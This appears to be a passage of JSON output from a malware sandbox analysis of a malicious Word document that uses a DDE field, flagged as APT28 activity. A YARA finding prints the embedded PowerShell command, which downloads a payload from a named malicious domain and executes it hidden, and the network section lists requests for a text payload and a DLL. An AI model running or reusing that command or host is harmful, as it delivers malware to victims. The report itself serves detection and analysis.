bytes to a remote process \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 308)\n \"WINWORD.EXE\" wrote 52 bytes to a remote process \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 308)\n \"WINWORD.EXE\" wrote 8 bytes to a remote process \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 308)","origin":"API Call","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Scans for artifacts that may help identify the target","description":"\"WINWORD.EXE\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\MESSENGERSERVICE\")","origin":"Registry Access","relevance":3,"id":"registry-37","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"$29","origin":"Hook Detection","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"level":"malicious","category":"Exploit/Shellcode","name":"Possible document exploit detected","description":"Document can spawn a new process although no macro was present in the original file","origin":"Indicator Combinations","relevance":10,"id":"summary-0","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"level":"malicious","category":"External Systems","name":"Detected Emerging Threats Alert","description":"Detected alert \"ETPRO TROJAN APT28 DDEAUTO DNS Lookup\" (SID: 2828504, Rev: 2, Severity: 1) categorized as \"A Network Trojan was detected\" (Backdoor, ransomware, trojans, etc.)","origin":"Suricata Alerts","relevance":10,"id":"suricata-2","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"level":"malicious","category":"External Systems","name":"Found an IP/URL artifact that was identified as malicious by a significant amount of reputation engines","description":"4/66 reputation engines marked \"http://sendmevideo.org\" as malicious (6% detection rate)","origin":"External System","relevance":10,"id":"avtest-7","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"32/60 Antivirus vendors marked sample as malicious (53% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"32/60 Antivirus vendors marked sample as malicious (53% detection rate)\n 2/11 Antivirus vendors marked sample as malicious (18% detection rate)","origin":"External System","relevance":8,"id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"level":"malicious","category":"Pattern Matching","name":"YARA signature match","description":"YARA signature \"Office_DDE_field\" classified file \"759fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6.doc.bin\" as \"dde,exploit\" based on indicators: \"DDE \"C:\\\\Programs\\\\Microsoft\\\\Office\\\\MSWord.exe\\\\..\\\\..\\\\..\\\\..\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://sendmevideo.org/dh2025e/eee.txt');powershell -enc $e # \" \"a slow internet connection\" \"try again later\" \"","origin":"YARA Signature","relevance":10,"id":"yara-0","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"},{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Document analysis contacts a domain","description":"Often seen on documents with macro droppers\n embedded files or exploits","origin":"Indicator Combinations","relevance":3,"id":"summary-1","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"level":"informative","category":"General","name":"Accesses Software Policy Settings","description":"$2a","origin":"Registry Access","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$2b","origin":"Registry Access","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"rundll32.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Installation/Persistance","name":"Opens the MountPointManager (often used to detect additional infection locations)","description":"\"WINWORD.EXE\" opened \"\\Device\\MountPointManager\"","origin":"API Call","relevance":5,"id":"api-51","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found a reference to a known community page","description":"\"*.youtube-nocookie.com\" (Indicator: \"youtube\")\n \"*.youtube.com\" (Indicator: \"youtube\")\n \"*.youtubeeducation.com\" (Indicator: \"youtube\")\n \"youtube.com\" (Indicator: \"youtube\")\n \"youtubeeducation.com\" (Indicator: \"youtube\")","origin":"File/Memory","relevance":7,"id":"string-10","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"level":"informative","category":"System Security","name":"Hooks API calls","description":"\"VariantChangeType@OLEAUT32.DLL\" in \"WINWORD.EXE\"\n \"OleLoadFromStream@OLE32.DLL\" in \"WINWORD.EXE\"\n \"SysAllocStringByteLen@OLEAUT32.DLL\" in \"WINWORD.EXE\"\n \"SysFreeString@OLEAUT32.DLL\" in \"WINWORD.EXE\"\n \"VariantClear@OLEAUT32.DLL\" in \"WINWORD.EXE\"","origin":"Hook Detection","relevance":10,"id":"hooks-0","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"level":"suspicious","category":"General","name":"Sent a control code to a service","description":"\"rundll32.exe\" called \"ControlService\" and sent control code \"0X24\" to the service \"gpsvc\"\n \"rundll32.exe\" called \"ControlService\" and sent control code \"0XFC\" to the service \"gpsvc\"\n \"rundll32.exe\" called \"ControlService\" and sent control code \"0X400\" to the service \"CryptSvc\"\n \"rundll32.exe\" called \"ControlService\" and sent control code \"0X24\" to the service \"cryptsvc\"","origin":"API Call","relevance":10,"id":"api-75","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Drops executable files","description":"\"mvdrt.dll\" has type \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\"\n \"carved_0.dll\" has type \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\"","origin":"Binary File","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"powershell.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"powershell.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")","origin":"Registry Access","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Drops cabinet archive files","description":"\"Cab955E.tmp\" has type \"Microsoft Cabinet archive data 53978 bytes 1 file\"\n \"Cab7CC9.tmp\" has type \"Microsoft Cabinet archive data 50939 bytes 1 file\"\n \"94308059B57B3142E455B38A6EB92015\" has type \"Microsoft Cabinet archive data 53978 bytes 1 file\"\n \"Cab9118.tmp\" has type \"Microsoft Cabinet archive data 50939 bytes 1 file\"","origin":"Binary File","relevance":10,"id":"binary-5","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"level":"malicious","category":"General","name":"GETs files from a webserver","description":"\"GET /dh2025e/eee.txt HTTP/1.1\nHost: sendmevideo.org\nConnection: Keep-Alive\"\n \"GET /dh2025e/eh.dll HTTP/1.1\nHost: sendmevideo.org\nConnection: Keep-Alive\"","origin":"Network Traffic","relevance":10,"id":"network-16","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"level":"malicious","category":"Network Related","name":"Malicious artifacts seen in the context of a contacted host","description":"$2c","origin":"Network Traffic","relevance":10,"id":"network-21","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Renames files","description":"\"WINWORD.EXE\" renamed original file\"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\CVR6A55.tmp\" to \"%TEMP%\\CVR6A55.tmp.cvr\"","origin":"API Call","mitre_attack_id":"T1036","relevance":1,"id":"api-162","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Cryptographic Related","name":"Dropped file has high entropy (likely encrypted/compressed content)","description":"Dropped file \"C:\\~WRD0002.tmp\" has high entropy 7.204078883951863\n Dropped file \"C:\\~WRD0000.tmp\" has high entropy 7.204078883951863","origin":"Binary File","mitre_attack_id":"T1027","relevance":5,"id":"binary-60","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Dropped file has high entropy (likely encrypted/compressed content)","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"WINWORD.EXE\" called \"GetTickCount\" with parameters (UID: 00000000-00000476)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"WINWORD.EXE\" called \"GetSystemMetrics\" with parameters (UID: 00000000-00000476)\n \"WINWORD.EXE\" called \"GetSystemInfo\" with parameters (UID: 00000000-00000476)\n \"WINWORD.EXE\" called \"QueryPerformanceCounter\" (UID: 00000000-00000476)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"WINWORD.EXE\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00000476)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"WINWORD.EXE\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00000476)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$2d","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"OTX_759fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6\" was detected as \"Zip\" and name: \"Archive\"\n \"OTX_759fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6\" was detected as \"ZIP archive\" and name: \"Data\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"Observed system executable string:\"%WINDIR%\\system32\\ADVAPI32.DLL\" [Source: 00000000-00000476-00000C2A-2437527980]\n Observed system executable string:\"%WINDIR%\\system32\\KERNEL32.DLL\" [Source: 00000000-00000476-00000C2A-2437615218]\n Observed system executable string:\"%WINDIR%\\system32\\mscoree.dll\" [Source: 00000000-00000476-00000C2A-2437886515]\n Observed system executable string:\"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll\" [Source: 00000000-00000476-00000C2A-2438129253]\n Observed system executable string:\"%WINDIR%\\system32\\version.dll\" [Source: 00000000-00000476-00000C2A-2449132234]\n Observed system executable string:\"%WINDIR%\\system32\\kernel32.dll\" [Source: 00000000-00000476-00000C2A-2449478162]\n Observed system executable string:\"%WINDIR%\\system32\\advapi32.dll\" [Source: 00000000-00000476-00000C2A-2449530397]\n Observed system executable string:\"%WINDIR%\\system32\\msi.dll\" [Source: 00000000-00000476-00000C62-2606278142]","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"General","name":"Tries to open documents files","description":"\"WINWORD.EXE\" opens a file C:\\OTX_759fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6.doc (UID: 00000000-00000476)","origin":"API Call","mitre_attack_id":"T1005","relevance":2,"id":"api-248","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates/edits LNK file (Windows shortcut)","description":"\"WINWORD.EXE\" writes to LNK file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Office\\Recent\\OTX_759fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6.doc.LNK\"\n \"WINWORD.EXE\" writes to LNK file \"%APPDATA%\\Microsoft\\Office\\Recent\\OTX_759fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6.doc.LNK\"","origin":"API Call","mitre_attack_id":"T1547.009","relevance":3,"id":"api-204","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops temp files","description":"\"~WRD0002.tmp\" has type \"Microsoft Word 2007+\" - Location: [C:\\~WRD0002.tmp]\n \"~WRS_12952D61-1372-4F4E-BC8E-3D593B464BFD_.tmp\" has type \"data\"\n \"~WRS_FD7675BD-1FD0-4523-8F08-09E83A6D83F7_.tmp\" has type \"data\"\n \"~WRD0000.tmp\" has type \"Microsoft Word 2007+\" - Location: [C:\\~WRD0000.tmp]","origin":"Binary File","mitre_attack_id":"T1105","relevance":1,"id":"binary-53","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens a handle to the specified process","description":"\"WINWORD.EXE\" opens a process \"C:\\Program Files\\Microsoft Office\\Office14\\WINWORD.EXE\" (UID: 00000000-00000476)\n \"WINWORD.EXE\" opens a process \"C:\\Windows\\explorer.exe\" (UID: 00000000-00000476)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-237","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$2e","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$2f","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"$30","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes log files","description":"\"WINWORD.EXE\" writes a file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat\"","origin":"API Call","mitre_attack_id":"T1074.001","relevance":1,"id":"api-159","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Network Related","name":"Attempts to call internet-related API for network communication","description":"\"WINWORD.EXE\" called \"NtAlpcSendWaitReceivePort\" with parameters (UID: 00000000-00000476)\n \"WINWORD.EXE\" called \"NtConnectPort\" with parameters (UID: 00000000-00000476)\n \"WINWORD.EXE\" called \"NtRequestWaitReplyPort\" with parameters (UID: 00000000-00000476)\n \"WINWORD.EXE\" called \"NtAlpcConnectPortEx\" with parameters (UID: 00000000-00000476)","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-291","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"System Security","name":"Able to retrieve/open a process (API string)","description":"Found string \"OpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00000476-00000C2B-2438218483\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-729","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"System Security","name":"Opens a handle to the specified local process","description":"\"WINWORD.EXE\" opens a process \"C:\\Program Files\\Microsoft Office\\Office14\\WINWORD.EXE\" (UID: 00000000-00000476)\n \"WINWORD.EXE\" opens a process \"C:\\Windows\\explorer.exe\" (UID: 00000000-00000476)","origin":"API Call","mitre_attack_id":"T1489","relevance":1,"id":"api-284","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"\"WINWORD.EXE\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\LANMANWORKSTATION\\PARAMETERS\"; Key: \"RPCCACHETIMEOUT\"; Value: \"\")\n \"WINWORD.EXE\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\INTERFACES\\{45F5205B-FA7A-11ED-8886-806E6F6E6963}\"; Key: \"ENABLEDHCP\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"$31","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops a file with double extension","description":"Dropped a double extension file \"OTX_759fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6.doc.LNK\"","origin":"Binary File","mitre_attack_id":"T1036.007","relevance":5,"id":"binary-80","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"OTX_759fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6.doc.LNK\" - Location: [%APPDATA%\\Microsoft\\Office\\Recent\\OTX_759fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6.doc.LNK]- [targetUID: 00000000-00000476]\n Dropped file: \"index.dat\" - Location: [%APPDATA%\\Microsoft\\Office\\Recent\\index.dat]- [targetUID: 00000000-00000476]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"suspicious","category":"Pattern Matching","name":"Yara Signature Match - Indicators","description":"YARA signature \"Office_DDE_field\" classified file \"sample.bin\" as \"dde,exploit\"","origin":"YARA Signature","relevance":9,"id":"yara-553","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: msoffice/malicious_confidence_100% (W)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found virtual disk drive like strings","description":"Found string - \\\\.\\pipe\\PSHost.133945765215557159.5776.DefaultAppDomain.powershell; Source: \"00000000-00005776-00000C57-3020573273\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-145","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00005776-00000C2B-3017850211\")\n Found string \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00005776-00000C2B-3019487683\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve geographical location information","description":"Found reference to API \"GetAddrInfoW\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00005776-00000C2B-3027093452\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-739","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"Found reference to API \"EnumWindows\" (Indicator: \"enumwindows\"; Source: \"00000000-00005776-00000C2B-3018928970\")\n Found reference to API \"EnumWindowsW\" (Indicator: \"enumwindows\"; Source: \"00000000-00005776-00000C2B-3018929121\")","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"powershell.exe\" called \"IsWow64Process\" with parameter \"5776\" - (UID: 00000000-00005776)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00005776)\n \"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00002500)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"powershell.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00005776)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$32","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$33","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 